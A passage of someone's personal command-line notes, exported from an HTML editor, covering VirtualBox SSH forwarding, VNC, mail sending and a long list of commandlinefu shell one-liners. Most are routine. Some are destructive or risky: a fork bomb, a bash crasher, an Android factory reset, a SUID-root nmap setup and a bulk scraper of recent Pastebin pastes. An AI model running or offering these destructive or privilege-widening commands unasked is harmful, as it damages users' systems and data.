CodeMirror-gutter-elt"><div>3</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Name &nbsp;  Protocol &nbsp;  Host IP &nbsp;  Host Port &nbsp;  Guest IP &nbsp;  Guest Port</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">---- &nbsp;  -------- &nbsp;  ---------  --------- &nbsp;  -------- &nbsp;  ----------</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">SSH &nbsp; &nbsp; TCP &nbsp; &nbsp; &nbsp; &nbsp; 127.0.0.1  2222 &nbsp; &nbsp; &nbsp; &nbsp; 10.0.2.15 &nbsp; 22</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 69px;"></div><div class="CodeMirror-gutters" style="height: 69px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><p><span>Now, turn on the machine (here, headless):</span>
<code>&quot;C:\Program Files\VirtualBox\VBoxManage.exe&quot; startvm Arch --type headless</code></p><p><span>SSH into the machine (the above settings will forward your request to 22)</span>
<code>ssh user@127.0.0.1 -p 2222</code></p><h2 id='run-a-simple-x-server-and-connect-to-it'><span>Run a simple X server and connect to it</span></h2><ul><li><span>install </span><code>tigervnc</code></li><li><span>run </span><code>vncpasswd</code><span> which encrypts and stores your password in </span><code>~/.vnc/passwd</code></li><li><span>run </span><code>x0vncserver -rfbauth ~/.vnc/passwd</code></li></ul><h2 id='send-mail-in-the-command-line-using-msmtp'><span>Send mail in the command line using msmtp</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>5</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">printf <span class="cm-string">"To: recipient@somedomain.com\n \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string">From: sender@email.com\n \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string">Subject: Something important\n\n \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string">This is the body of the message"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">| msmtp <span class="cm-attribute">-a</span> account_name recipient@somedomain.com<span class="cm-quote">`</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 115px;"></div><div class="CodeMirror-gutters" style="height: 115px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><ul><li><span>Send mail in the command line using neomutt: `neomutt -e &#39;set content_type=&quot;text/html&quot;&#39; </span><a href='mailto:user@mail.com' target='_blank' class='url'>user@mail.com</a><span> -s &quot;subject&quot; &lt; email.html``</span></li></ul><h2 id='tether-computer-to-mobile-wifi'><span>Tether computer to mobile Wifi</span></h2><p><span>Connect device and turn on usb tethering, and then:</span></p><ul><li><code>lsmod | grep usbnet</code></li><li><code>dmesg | grep usb0</code><span> (note your interface)</span></li><li><code>ifconfig YOUR_INTERFACE_NAME_HERE up</code></li><li><code>dhcpcd interface_name</code></li></ul><h1 id='new-oneliners-thanks-commandlinefu'><span>New oneliners (thanks commandlinefu)</span></h1><p><span>At last check, commandlinefu had 564 pages of oneliners. I have 25 pages so far {0..25} in the command below:</span></p><ul><li><span>Scrape commandlinefu with: </span><code>URL=&quot;http://www.commandlinefu.com&quot; &amp;&amp; wget -O - --save-cookies c $URL &amp;&amp; for i in {0..564};do wget -w 8 --random-wait -O - --load-cookies c $URL/commands/browse/plaintext/$i &gt;&gt; ~/commands.txt ;done;rm -f c</code></li><li><span>Recall Nth command from your BASH history without executing it.: </span><code>!12:p</code></li><li><span>Learn the difference between single and double quotes: </span><code>a=7; echo $a; echo &quot;$a&quot;; echo &#39;$a&#39;; echo &quot;&#39;$a&#39;&quot;; echo &#39;&quot;$a&quot;&#39;</code></li><li><span>Bash alias to output the current Swatch Internet Time: </span><code>alias beats=&#39;echo &#39;\&#39;&#39;@&#39;\&#39;&#39;$(TZ=GMT-1 date +&#39;\&#39;&#39;(%-S + %-M * 60 + %-H * 3600) / 86.4&#39;\&#39;&#39;|bc)&#39;</code></li><li><span>Start a game on the discrete GPU (hybrid graphics): </span><code>alias game=&#39;DRI_PRIME=1&#39;</code></li><li><span>Replacement of tree command (ignore node_modules): </span><code>alias tree=&#39;pwd;find . -path ./node_modules -prune -o -print | sort | sed &#39;\&#39;&#39;1d;s/^\.//;s/\/\([^/]*\)$/|--\1/;s/\/[^/|]*/| /g&#39;\&#39;&#39;&#39;</code></li><li><span>Open clipboard content on vim: </span><code>alias vcb=&#39;xclip -i -selection clipboard -o | vim -&#39;</code></li><li><span>Faciliate the work for lftp (&#39;all&#39; is needed if you wanna use it with getopts, otherwise its enough with the lftp line): </span><code>all=&quot;$(echo -e $*|awk &#39;{for(**3;i&lt;=NF;++i)print $i}&#39;|xargs)&quot;; lftp -e open &lt;HOSTNAME&gt; -p &lt;PORT&gt; -u &lt;USER&gt;:&lt;PASSWORD&gt; -e &quot;$all;exit&quot;</code></li><li><span>Factory reset your android device via commandline.: </span><code>am broadcast -a android.intent.action.MASTER_CLEAR</code></li><li><span>Before any Dell Firmware update on Ubuntu, run: </span><code>apt install raidcfg dtk-scripts syscfg smbios-utils sfcb cim-schema dcism</code></li><li><span>Get all upgradable deb packages in a single line: </span><code>apt list --upgradable | grep -v &#39;Listing...&#39; | cut -d/ -f1 | tr &#39;\r\n&#39; &#39; &#39; | sed &#39;$s/ $/\n/&#39;</code></li><li><span>Split video files using avconv along keyframes: </span><code>avconv -i SOURCE.mp4 -f segment -c:v copy -bsf:v h264_mp4toannexb -an -reset_timestamps 1 OUTPUT_%05d.h264</code></li><li><span>Print lines in a text file with numbers in first column higher or equal than a value: </span><code>awk &#39;$NF &gt;= 134000000 {print $0}&#39; single-column-numbers.txt</code></li><li><span>Change values from 0 to 100: </span><code>awk &#39;{if ($3 ==&quot;LAN&quot; &amp;&amp; $5 == &quot;0.00&quot; ) print $1,  $2, &quot;LAN&quot;,  &quot;288&quot;,  &quot;100.00&quot;; else print $1 ,$2, $3, $4, $5 }&#39; sla-avail-2013-Feb &gt; sla-avail-2013-Feb_final</code></li><li><span>Use was ec2 describe instances to retrieve IAM roles for specific ec2 tag to css list: </span><code>aws ec2 describe-instances --region us-east-1 --filters &quot;Name=tag:YourTag,Values=YourValue&quot; |  jq &#39;.[&quot;Reservations&quot;]|.[]|.Instances|.[]|.IamInstanceProfile.Arn + &quot;,&quot; +.InstanceId&#39;</code></li><li><span>Get a list of stale AWS security groups: </span><code>aws ec2 describe-vpcs --query &#39;Vpcs[*].VpcId&#39; --output text  |xargs -t -n1 aws ec2 describe-stale-security-groups --vpc-id</code></li><li><span>Rclone - include Service account blobs to your config: </span><code>bash -c &#39;COUNT=0; for i in $(find . -iname &quot;*.json&quot;);do ((count=count+1));VAL=</code><span>cat ${i} | jq -c &#39;.&#39;</span><code>; echo &quot;[dst$count]&quot;;echo &quot;type = drive&quot;;echo &quot;scope = drive&quot;;echo &quot;service_account_credentials = $VAL&quot; ; echo &quot;team_drive = 0AKLGAlhvkJYyUk9PVA&quot; ;done&#39;</code></li><li><span>Banner Grabber: </span><code>bash -c &#39;exec 3&lt;&gt;/dev/tcp/google.com/80; echo EOF&gt;&amp;3; cat&lt;&amp;3&#39;</code></li><li><span>Show which line of a shell script is currently executed: </span><code>bash -x foo.sh</code></li><li><span>Calculate pi to an arbitrary number of decimal places: </span><code>bc -l &lt;&lt;&lt; &quot;scale=1000; 4*a(1)&quot;</code></li><li><span>List the binaries installed by a Debian package: </span><code>binaries () { dpkg -L &quot;$1&quot; | grep -Po &#39;.*/bin/\K.*&#39;; }</code></li><li><span>List the binaries installed by a Debian package: </span><code>binaries () { for f in $(dpkg -L &quot;$1&quot; | grep &quot;/bin/&quot;); do basename &quot;$f&quot;; done; }</code></li><li><span>Add keybindings for cycling through completions (or for inserting the last or first completion) in Bash: </span><code>bind &#39;&quot;\er&quot;:menu-complete-backward&#39;;bind &#39;&quot;\es&quot;:menu-complete&#39;</code></li><li><span>Bitcoin Brainwallet Private Key Calculator: </span><code>bitgen hex 12312381273918273128937128912c3b1293cb712938cb12983cb192cb1289b3 info</code></li><li><span>Extracts blocks from damaged .bz2 files: </span><code>bzip2recover damaged_file_name</code></li><li><span>AWK Calculator: </span><code>calc(){ awk &quot;BEGIN{ print $* }&quot; ;}; calc &quot;((3+(2^3)) * 34^2 / 9)-75.89&quot;</code></li><li><span>Shell pocket calculator (pure sh): </span><code>calc(){ printf &quot;%.8g\n&quot; $(printf &quot;%s\n&quot; &quot;$*&quot; | bc -l); }</code></li><li><span>Convert JSON object to JavaScript object literal: </span><code>cat data.json | json-to-js | pbcopy</code></li><li><span>Generate cryptographically Secure RANDOM PASSWORD: </span><code>cat /dev/urandom |tr -c -d &#39;[:alnum:]&#39;|head -c 16;echo</code></li><li><span>Extract a Zip File from STDOUT with the Jar Command: </span><code>cat foo.zip | jar xv</code></li><li><span>Convert tab separate file (TSV) to JSON with jq: </span><code>cat input.tsv | jq --raw-input --slurp &#39;split(&quot;\n&quot;) | map(split(&quot;\t&quot;)) | .[0:-1] | map( { &quot;id&quot;: .[0], &quot;ip&quot;: .[1] } )&#39;</code></li><li><span>SFTP upload through HTTPS proxy: </span><code>cat myFile.json | ssh root@remoteSftpServer -o &quot;ProxyCommand=nc.openbsd -X connect -x proxyhost:proxyport %h %p&quot; &#39;cat &gt; myFile.json&#39;</code></li><li><span>Batch-Convert text file containing youtube links to mp3: </span><code>cat playlist.txt | while read line; do youtube-dl --extract-audio --audio-format mp3 -o &quot;%(title)s.%(ext)s&quot; ytsearch:&quot;$line&quot;  ;done</code></li><li><span>Parse and format IP:port currently in listen state without net tools: </span><code>cat /proc/net/tcp | grep &quot; 0A &quot; | sed &#39;s/^[^:]*: \(..\)\(..\)\(..\)\(..\):\(....\).*/echo $((0x\4)).$((0x\3)).$((0x\2)).$((0x\1)):$((0x\5))/g&#39; | bash</code></li><li><span>Check whether laptop is running on battery or cable: </span><code>cat /sys/class/power_supply/AC/online</code></li><li><span>Print your cpu intel architecture family: </span><code>cat /sys/devices/cpu/caps/pmu_name</code></li><li><span>Convert epoch date to human readable date format in a log file.: </span><code>cat /var/log/mosquitto/mosquitto.log | awk -F : &#39;{&quot;date -d @&quot;$1 |&amp; getline D; print D, $0}&#39;</code></li><li><span>Backup with versioning: </span><code>&amp; &#39;C:\cwRsync_5.5.0_x86_Free\bin\rsync.exe&#39; --force --ignore-errors --no-perms --chmod=ugo=rwX --checksum --delete --backup --backup-dir=&quot;_EVAC/$(Get-Date -Format &quot;yyyy-MM-dd-HH-mm-ss&quot;)&quot; --whole-file -a -v &quot;//MyServer/MyFolder&quot; &quot;/cygdrive/c/Backup&quot;</code></li><li><span>Get the full path of a bash script&#39;s Git repository head.: </span><code>(cd &quot;$(dirname &quot;${BASH_SOURCE[0]}&quot;)&quot; &amp;&amp; git rev-parse --show-toplevel)</code></li><li><span>Access folder &quot;-&quot;: </span><code>cd -- -</code></li><li><span>Jump to home dir and list all, not older than 3 days, with full-path, hidden/non-hidden files/subdirectories: </span><code>cd &amp;&amp; tree -aicfnF --timefmt %Y%j-%d-%b-%y|grep $(date +%Y%j)&#39;\|&#39;$[$(date +%Y%j)-1]&#39;\|&#39;$[$(date +%Y%j)-2]</code></li><li><span>Set a user password without passwd: </span><code>chpasswd &lt;&lt;&lt; &quot;user:newpassword&quot;</code></li><li><span>Clear terminal Screen: </span><code>clear</code></li><li><span>Convert &amp; rename all filenames to lower case: </span><code>convmv --lower --notest FILE</code></li><li><span>After typing lots of commands in windows, save them to a batch file quickly: </span><code>copy con batchfilename.bat</code></li><li><span>Remove multiple entries of the same command in .bash_history with preserving the chronological order: </span><code>** -a  ~/.bash_history ~/.bash_history.bak &amp;&amp; perl -ne &#39;print unless $seen{$_}++&#39;  ~/.bash_history.bak &gt;~/.bash_history</code></li><li><span>Create backup copy of file, adding suffix of the date of the file modification (NOT today&#39;s date): </span><code>** file{,.$(date -d @$(stat -c &#39;%Y&#39; file) &quot;+%y%m%d&quot;)}</code></li><li><span>Create backup copy of file, adding suffix of the date of the file modification (NOT today&#39;s date): </span><code>** file{,.$(date -r file &quot;+%y%m%d&quot;)}</code></li><li><span>Create backup copy of file, adding suffix of the date of the file modification (NOT today&#39;s date): </span><code>** file file.$(date -d @$(stat -c &#39;%Y&#39; file) &quot;+%y%m%d&quot;)</code></li><li><span>Clear terminal Screen: </span><code>&lt;ctrl+l&gt;</code></li><li><span>Get your public IP address using Amazon: </span><code>curl checkip.amazonaws.com</code></li><li><span>Ultra fast public IP address lookup using Cloudflare&#39;s 1.1.1.1: </span><code>curl -fSs https://1.1.1.1/cdn-cgi/trace | awk -F= &#39;/ip/ { print $2 }&#39;</code></li><li><span>Download mp3 files linked in a RSS podcast feed: </span><code>curl http://radiofrance-podcast.net/podcast09/rss_14726.xml | grep -Eo &quot;(http|https)://[a-zA-Z0-9./?=_%:-]*mp3&quot; | sort -u | xargs wget</code></li><li><span>Offcloud - add a link as remote download: </span><code>curl  &#39;https://offcloud.com/api/remote?key=XXXXXX&#39; \   -H &#39;accept: application/json&#39; \   -H &#39;Content-Type: application/x-www-form-urlencoded&#39;  --data-raw &quot;url=$MYLINK&amp;remoteOptionId=XXXXX&quot;</code></li><li><span>Check web server port 80 response header: </span><code>curl -I &lt;IPaddress&gt;</code></li><li><span>Get a list of top 1000 sites from alexa: </span><code>curl -qsSl http://s3.amazonaws.com/alexa-static/top-1m.csv.zip 2&gt;/dev/null | zcat | grep &quot;.de$&quot; | head -1000 | awk -F, &#39;{print $2}&#39;</code></li><li><span>Print all git repos from a user: </span><code>curl -s https://api.github.com/users/&lt;username&gt;/repos?per_page=1000 |grep git_url |awk &#39;{print $2}&#39;| sed &#39;s/&quot;\(.*\)&quot;,/\1/&#39;</code></li><li><span>Print all git repos from a user (only curl and grep): </span><code>curl -s https://api.github.com/users/&lt;username&gt;/repos?per_page=1000 | grep -oP &#39;(?&lt;=&quot;git_url&quot;: &quot;).*(?=&quot;\,)&#39;</code></li><li><span>Print all git repos from a user: </span><code>curl -s &quot;https://api.github.com/users/&lt;username&gt;/repos?per_page=1000&quot; | jq &#39;.[].git_url&#39;</code></li><li><span>Print all git repos from a user: </span><code>curl -s &quot;https://api.github.com/users/&lt;username&gt;/repos?per_page=1000&quot; | python &lt;(echo &quot;import json,sys;v=json.load(sys.stdin);for i in v:; print(i[&#39;git_url&#39;]);&quot; | tr &#39;;&#39; &#39;\n&#39;)</code></li><li><span>Get Your IP Geographic Location with curl and jq: </span><code>curl -s https://ipvigilante.com/$(curl -s https://ipinfo.io/ip) | jq &#39;.data.latitude, .data.longitude, .data.city_name, .data.country_name&#39;</code></li><li><span>Get current stable kernel version string from kernel.org: </span><code>curl -s https://www.kernel.org/releases.json | jq &#39;.latest_stable.version&#39; -r</code></li><li><span>Check every URL redirect (HTTP status codes 301/302) with curl: </span><code>curl -sLkIv --stderr - http://example.org | grep -i location: | awk {&#39;print $3&#39;} | sed &#39;/^$/d&#39;</code></li><li><span>Check every URL redirect (HTTP status codes 301/302) with curl: </span><code>curl -sLkIv --stderr - https://exemple.com | awk &#39;BEGIN{IGNORECASE = 1};/&lt; location:/ {print $3}&#39;</code></li><li><span>Extract column from csv file: </span><code>cut -d&quot;,&quot; -f9</code></li><li><span>Generate random mac-address using md5sum + sed: </span><code>date | md5sum | sed -r &#39;s/(..){3}/\1:/g;s/\s+-$//&#39;</code></li><li><span>Poor man&#39;s ntpdate: </span><code>date -s &quot;$(curl -sD - www.example.com | grep &#39;^Date:&#39; | cut -d&#39; &#39; -f3-6)Z&quot;</code></li><li><span>Iso to USB with dd and show progress status: </span><code>dd if=/backup/archlinux.iso of=/dev/sdb status=progress</code></li><li><span>Iso to USB with dd and show progress status: </span><code>dd if=/home/kozanoglu/Downloads/XenServer-7.2.0-install-cd.iso | pv --eta --size 721420288 --progress --bytes --rate --wait &gt; /dev/sdb</code></li><li><span>Hide or show Desktop Icons on MacOS: </span><code>defaults write com.apple.finder CreateDesktop -bool false;killall Finder</code></li><li><span>Find German synonyms using OpenThesaurus: </span><code>desyno(){ wget -q -O- https://www.openthesaurus.de/synonyme/search\?q\=&quot;$*&quot;\&amp;format\=text/xml | sed &#39;s/&gt;/&gt;\n/g&#39; | grep &quot;&lt;term term=&quot; | cut -d \&#39; -f 2 | paste -s -d , | sed &#39;s/,/, /g&#39; | fold -s -w $(tput cols); }</code></li><li><span>Get partitions that are over 50% usage: </span><code>df -h |awk &#39;{a=$5;gsub(/%/,&quot;&quot;,a);if(a &gt; 50){print $0}}&#39;</code></li><li><span>Show allocated disk space:: </span><code>df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE &#39; [0-9]{1,}( +[0-9]{1,})+&#39; | awk &#39;{sum_used += $1} END {printf &quot;%.0f GB\n&quot;, sum_used/1024/1024}&#39;</code></li><li><span>Show used disk space:: </span><code>df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE &#39; [0-9]{1,}( +[0-9]{1,})+&#39; | awk &#39;{sum_used += $2} END {printf &quot;%.0f GB\n&quot;, sum_used/1024/1024}&#39;</code></li><li><span>Update all Docker Images: </span><code>docker images --format &quot;{{.Repository}}:{{.Tag}}&quot; | grep &#39;:latest&#39; | xargs -L1 docker pull</code></li><li><span>List all ubuntu installed packages in a single line: </span><code>dpkg --get-selections | grep -Evw &#39;deinstall$&#39; | cut -f1 | sort -u | xargs</code></li><li><span>List all ubuntu installed packages in a single line: </span><code>dpkg --get-selections | grep -v deinstall | sort -u | cut -f 1 | tr &#39;\r\n&#39; &#39; &#39; | sed &#39;$s/ $/\n/&#39;</code></li><li><span>Get the full description of a randomly selected package from the list of installed packages on a debian system: </span><code>dpkg-query --status $(dpkg --get-selections | awk &#39;{print NR,$1}&#39; | grep -oP &quot;^$( echo $[ ( ${RANDOM} % $(dpkg --get-selections| wc -l) + 1 ) ] ) \K.*&quot;)</code></li><li><span>Determine if booted as EFI/UEFI or BIOS: </span><code>[[ -d &quot;/sys/firmware/efi&quot; ]] &amp;&amp; echo &quot;UEFI&quot; || echo &quot;BIOS&quot;</code></li><li><span>List the size (in human readable form) of all sub folders from the current location: </span><code>du -h -d1</code></li><li><span>Du command without showing other mounted file systems: </span><code>du -h --max-depth=1 --one-file-system /</code></li><li><span>List the size (in human readable form) of all sub folders from the current location: </span><code>du -sh *</code></li><li><span>Get total of inodes of root partition: </span><code>du --total --inodes / | egrep &#39;total$&#39;</code></li><li><span>Get a rough estimate about how much disk space is used by all the currently installed debian packages: </span><code>echo $[ ($(dpkg-query -s $(dpkg --get-selections | grep -oP &#39;^.*(?=\binstall)&#39;) | grep -oP &#39;(?&lt;=Installed-Size: )\d+&#39; | tr &#39;\n&#39; &#39;+&#39; | sed &#39;s/+$//&#39;)) / 1024 ]</code></li><li><span>Random number with a normal distribution between 1 and X: </span><code>echo $[(${RANDOM}%100+${RANDOM}%100)/2+1]</code></li><li><span>Simplest calculator: </span><code>echo $[321*4]</code></li><li><span>Automatically generate the ip/hostname entry for the /etc/hosts in the current system: </span><code>echo &quot;$(ip addr show dev $(ip r | grep -oP &#39;default.*dev \K\S*&#39;) | grep -oP &#39;(?&lt;=inet )[^/]*(?=/)&#39;) $(hostname -f) $(hostname -s)&quot;</code></li><li><span>Generate a sequence of numbers.: </span><code>echo {1..12}</code></li><li><span>Generate a sequence of numbers.: </span><code>echo {1..99}</code></li><li><span>Colorize sequences of digits: </span><code>echo abcd89efghij340.20kl|grep --color -e &quot;[0-9]\+&quot; -e &quot;$&quot;</code></li><li><span>Produce 10 copies of the same string: </span><code>echo boo{,,,,,,,,,,}</code></li><li><span>Replace all backward slashes with forward slashes: </span><code>echo &#39;C:\Windows\&#39; | sed &#39;s|\\|\/|g&#39;</code></li><li><span>Check if port is open on remote machine: </span><code>echo &gt;  /dev/tcp/127.0.0.123/8085 &amp;&amp; echo &quot;Port is open&quot;</code></li><li><span>Hiding ur evil intent!  Shame on you!: </span><code>echo &#39;doing something very evil&#39; &gt;/dev/null &amp;&amp; echo doing something very nice!</code></li><li><span>Check web server port 80 response header: </span><code>(echo -e &#39;GET / HTTP/1.0\r\n\r\n&#39;;) | ncat &lt;IPaddress&gt; 80</code></li><li><span>Change user password  one liner: </span><code>echo -e &quot;linuxpassword\nlinuxpassword&quot; | passwd linuxuser</code></li><li><span>Fork bomb (don&#39;t actually execute): </span><code>echo -e “\x23\x21/bin/bash\n\.\/\$\0\&amp;\n\.\/\$\0\&amp;” &gt; bomb.sh &amp;&amp; ./bomb.sh</code></li><li><span>From all PDF files in all subdirectories, extract two metadata fields (here: Creator and Producer) into a CSV table: </span><code>echo &quot;File;Creator;Producer&quot;;find . -name &#39;*.pdf&#39; -print0 | while IFS= read -d $&#39;\0&#39; line;do echo -n &quot;$line;&quot;;pdfinfo &quot;$line&quot;|perl -ne &#39;if(/^(Creator|Producer):\s*(.*)$/){print&quot;$2&quot;;if ($1 eq &quot;Producer&quot;){exit}else{print&quot;;&quot;}}&#39;;echo;done 2&gt;/dev/null</code></li><li><span>Pretty print json block that has quotes escaped: </span><code>echo &#39;json_here&#39; | sed &#39;s/\\//g&#39; | jq .</code></li><li><span>Instead of saying RTFM!: </span><code>echo &quot;[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq&quot;|dc</code></li><li><span>Test sendmail: </span><code>echo &quot;Subject: test&quot; | /usr/lib/sendmail -v me@domain.com</code></li><li><span>OSX script to change Terminal profiles based on machine name;  use with case statement parameter matching: </span><code>echo &quot;tell application \&quot;Terminal\&quot;\n\t set its current settings of selected tab of window 1 to settings set \&quot;$PROFILE\&quot;\n end tell&quot;|osascript;</code></li><li><span>Remove all the characters after last space per line including it: </span><code>echo &#39;The quick brown fox jumps over the lazy dog&#39; | sed &#39;s|\(.*\) .*|\1|&#39;</code></li><li><span>Remove all the characters before last space per line including it: </span><code>echo &#39;The quick brown fox jumps over the lazy dog&#39; | sed &#39;s|.* ||&#39;</code></li><li><span>Set a user password without passwd: </span><code>echo &#39;user:newpassword&#39; | chpasswd</code></li><li><span>Replace all forward slashes with backward slashes: </span><code>echo &#39;/usr/bin/&#39; | sed &#39;s|\/|\\|g&#39;</code></li><li><span>Download all recently uploaded pastes on pastebin.com: </span><code>elinks -dump https://pastebin.com/archive|grep https|cut -c 7-|sed &#39;s/com/com\/raw/g&#39;|awk &#39;length($0)&gt;32 &amp;&amp; length($0)&lt;35&#39;|grep -v &#39;messages\|settings\|languages\|archive\|facebook\|scraping&#39;|xargs wget</code></li><li><span>Crash bash, in case you ever want to for whatever reason: </span><code>enable -f /usr/lib/libpng.so png_create_read</code></li><li><span>Save your current environment as a bunch of defaults: </span><code>env | sed &#39;s/\(.*\)=\(.*\)/: ${\1:=&quot;\2&quot;}/&#39;  &gt; mydefaults.bash</code></li><li><span>Color STDERR in output: </span><code>./errorscript.sh 2&gt; &gt;(echo &quot;\e[0;41m$(cat)\e[0m&quot;)</code></li><li><span>Check whether laptop is running on battery or cable: </span><code>eval &quot;$(printf &quot;echo %s \$((%i * 100 / %i))\n&quot; $(cat $(find /sys -name energy_now 2&gt;/dev/null | head -1 | xargs dirname)/{status,energy_{now,full}}))%&quot;</code></li><li><span>Unset all http proxy related environment variables in one go in the current shell: </span><code>eval &quot;unset $(printenv | grep -ioP &#39;(?:https?|no)_proxy&#39; | tr &#39;\n&#39; &#39; &#39;)&quot;</code></li><li><span>Create a nicely formatted example of a shell command and its output: </span><code>example() { echo &quot;EXAMPLE:&quot;; echo; echo &quot;    $@&quot;; echo; echo &quot;OUTPUT:&quot;; echo ; eval &quot;$@&quot; | sed &#39;s/^/    /&#39;;  }</code></li><li><span>Set pcap &amp; SUID Bit for priv. network programs (like nmap): </span><code>export BIN=</code><span>which nmap</span><code>&amp;&amp; sudo setcap cap_net_raw,cap_net_admin+eip $BIN &amp;&amp; sudo chown root $BIN &amp;&amp; sudo chmod u+s $BIN</code></li><li><span>Store Host IP in variable: </span><code>export IP=&quot;$(hostname -I | awk &#39;{print $1}&#39;)&quot;</code></li><li><span>This will take the last two commands from bash_history and  open your editor with the commands on separated lines: </span><code>fc -1 -2</code></li><li><span>Downmix first audio stream from 7.1 to 5.1 keeping all other streams: </span><code>ffmpeg -i in.mkv -map 0 -c copy -c:a:0 aac -ac:a:0 6 out.mkv</code></li><li><span>Rotate a video file by 90 degrees CW: </span><code>ffmpeg -i in.mov -c copy -metadata:s:v:0 rotate=90 out.mov</code></li><li><span>Rotate a video file by 90 degrees CW: </span><code>ffmpeg -i in.mov -vf &quot;transpose=1&quot; out.mov</code></li><li><span>Download screenshot or frame from YouTube video at certain timestamp: </span><code>ffmpeg -ss 8:14 -i $(youtube-dl -f 299 --get-url URL) -vframes 1 -q:v 2 out.jpg</code></li><li><span>Capture video of a linux desktop: </span><code>ffmpeg -video_size 1024x768 -framerate 25 -f x11grab -i :0.0+100,200 output.mp4</code></li><li><span>List human readable files: </span><code>file *|grep &#39;ASCII text&#39;|sort  -rk2</code></li><li><span>Rename / move Uppercase filenames to lowercase filenames current directory: </span><code>FileList=$(ls); for FName in $FileList; do LowerFName=$(echo &quot;$FName&quot; | tr &#39;[:upper:]&#39; &#39;[:lower:]&#39;); echo $FName&quot; rename/move to $LowerFName&quot;; mv $FName $LowerFName;  done</code></li><li><span>PHP7 - Fix incompatibility errors like: Parse error: syntax error, unexpected new (T_NEW) in file.php on line...: </span><code>find &quot;$(realpath ./)&quot; -type f \( -iname &quot;*.php&quot; -or -iname &quot;*.inc&quot; \) -exec sed -i -r &quot;s~=[[:space:]]*&amp;[[:space:]]*new[[:space:]]+~= new ~gi&quot; {} \;</code></li><li><span>Edit, view or execute last modified file with a single key-press: </span><code>f() { ls -lart;e=&quot;ls -tarp|grep -v /|tail -9&quot;;j=${e/9/1};g=${e/9/9|nl -nln};h=$(eval $j);eval $g;read -p &quot;e|x|v|1..9 $(eval $j)?&quot; -n 1 -r;case $REPLY in e) joe $h;;v)cat $h;;x) eval $h;;[1-9]) s=$(eval $g|egrep ^$REPLY) &amp;&amp; touch &quot;${s:7}&quot; &amp;&amp; f;;esac ; }</code></li><li><span>Visual alert with keyboard LEDs: </span><code>for a in $(seq 16); do xdotool key Num_Lock;sleep .5; xdotool key 